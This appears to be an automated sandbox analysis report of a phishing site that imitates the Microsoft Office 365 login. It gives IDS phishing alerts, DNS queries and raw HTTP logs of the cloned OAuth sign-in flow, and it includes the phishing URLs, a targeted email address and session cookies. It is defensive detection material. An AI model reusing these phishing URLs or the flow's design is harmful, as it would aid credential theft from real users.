Source: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#jrofe@bellpotter.com.au=	HTTP Parser: No <meta name="copyright".. found
Source: https://login.loraintoolsltd.xyz/common/login	HTTP Parser: No <meta name="copyright".. found

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832046 - Severity 1 - ETPRO PHISHING Successful Office 365 Phish 2018-08-01 : 192.168.2.4:49843 -> 173.46.80.217:443
Source: Network traffic	Suricata IDS: 2832180 - Severity 1 - ETPRO PHISHING Successful Microsoft Account Phish 2018-08-15 : 192.168.2.4:49843 -> 173.46.80.217:443
Source: Network traffic	Suricata IDS: 2840426 - Severity 1 - ETPRO PHISHING Successful Microsoft Account Phish 2020-01-14 : 192.168.2.4:49843 -> 173.46.80.217:443
Source: Network traffic	Suricata IDS: 2846045 - Severity 1 - ETPRO PHISHING Successful Microsoft Account Phish 2020-12-15 : 192.168.2.4:49843 -> 173.46.80.217:443

Performs DNS queries to domains with low reputation

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: login.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: login.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: www.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: www.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: live.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: live.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: login.loraintoolsltd.xyz
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	DNS query: login.loraintoolsltd.xyz

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /FgJIoRDm HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://sahadayiz.com.tr/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/5.15.4/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/672eb098a9f3/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/672eb098a9f3/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d758c9c7f5e68&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.loraintoolsltd.xyz/FgJIoRDmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d758c9c7f5e68&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/905d758c9c7f5e68/1737527048859/h0R7LETiUR5EdkQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/905d758c9c7f5e68/1737527048859/h0R7LETiUR5EdkQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/905d758c9c7f5e68/1737527048862/192915dd2a27315a544581a44a57df06334e835618996b50b5008f69205041ef/1C3Bys2O25GcXgM HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /FgJIoRDm?o=pHg-Y4s HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://login.loraintoolsltd.xyz/FgJIoRDmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://login.loraintoolsltd.xyz/FgJIoRDmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: www.loraintoolsltd.xyzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd; fpc=Al80S6UF-GNCmXSXQ1iGIMk; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE-GZHmj-tS1JVm08kYhWca3pqgpHHkhFLR3ThjcD0DV0bSTyB19sec-iwddoTj8wsfHI0RVGAqvJ07qnFKmN53LqA_h6BMy7rt2RJuA9NHycG6SPzvwSgzTN8U_nx98Azc_RNZrdqWDY-ZUG-ZPBkMZ47KJPi8A9gU85rP_SugMAgAA; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: login.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278; x-ms-gateway-slice=estsfd; fpc=Al80S6UF-GNCmXSXQ1iGIMk; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE-GZHmj-tS1JVm08kYhWca3pqgpHHkhFLR3ThjcD0DV0bSTyB19sec-iwddoTj8wsfHI0RVGAqvJ07qnFKmN53LqA_h6BMy7rt2RJuA9NHycG6SPzvwSgzTN8U_nx98Azc_RNZrdqWDY-ZUG-ZPBkMZ47KJPi8A9gU85rP_SugMAgAA; stsservicecookie=estsfd; esctx-8kSLO6wrQZ0=AQABCQEAAABVrSpeuWamRam2jAF1XRQE5fkEncxG9QeM-qo1UmVhqteZJb76vi_eNH1dwyErwrAu6FD0cDtav5HYWxxVe1p8N8_ke7TM16FA6obQvKqYn816juVW2-qN9MLTE0OeSy8gXK1_RTLHf9u8viOtVq-Exv4q37PP-NH0Z_QBzvGfMyAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: live.loraintoolsltd.xyzConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://login.loraintoolsltd.xyz/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278
